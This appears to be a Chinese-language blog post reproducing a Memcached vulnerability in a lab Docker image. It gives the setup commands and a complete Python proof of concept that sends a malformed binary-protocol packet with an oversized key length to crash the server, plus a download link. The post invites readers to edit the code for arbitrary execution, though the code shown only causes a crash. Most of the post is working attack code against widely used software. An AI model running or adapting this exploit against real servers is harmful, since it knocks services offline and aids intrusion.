Memached代码执行漏洞复现视频+POC

通过POC的执行,使得memached服务停止运行,因为是任意代码执行,其他的,大家自己手动修改POC中的命令即可!

0x00 说明

本次视频中的演示,依托于i春秋提供的实验镜像环境,感兴趣的朋友可以搜索一下。


0x01 过程

docker  images  //列出镜像
docker run -d -p 11211:11211 af1336632a51 //启动容器
docker ps  //查看容器是否运行
ok运行成功


下面我们执行poc,使得memached停止运行
python2.7 poc.py 127.0.0.1 11211   //执行POC
docker ps

0x02 POC

# -*- coding: utf-8 -*-

import struct
import socket
import sys

MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_PREPEND_Q = "\x1a"
key_len = struct.pack("!H", 0xfa)
extra_len = "\x00"
data_type = "\x00"
vbucket = "\x00\x00"
body_len = struct.pack("!I", 0)
opaque = struct.pack("!I", 0)
CAS = struct.pack("!Q", 0)
body = "A" * 1024

if len(sys.argv) != 3:
    print "./poc_crash.py <server> <port>"
    sys.exit(1)

packet = MEMCACHED_REQUEST_MAGIC + OPCODE_PREPEND_Q + key_len + extra_len
packet += data_type + vbucket + body_len + opaque + CAS
packet += body

set_packet = "set testkey 0 60 4\r\ntest\r\n"
get_packet = "get testkey\r\n"

s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((sys.argv[1], int(sys.argv[2])))
s1.sendall(set_packet)
print s1.recv(1024)
s1.close()

s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((sys.argv[1], int(sys.argv[2])))
s2.sendall(packet)
print s2.recv(1024)
s2.close()

s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s3.connect((sys.argv[1], int(sys.argv[2])))
s3.sendall(get_packet)
s3.recv(1024)
s3.close()

poc下载地址:https://pan.lanzou.com/i04t5kd


0x03 在线视频

发表评论 / Comment

用心评论~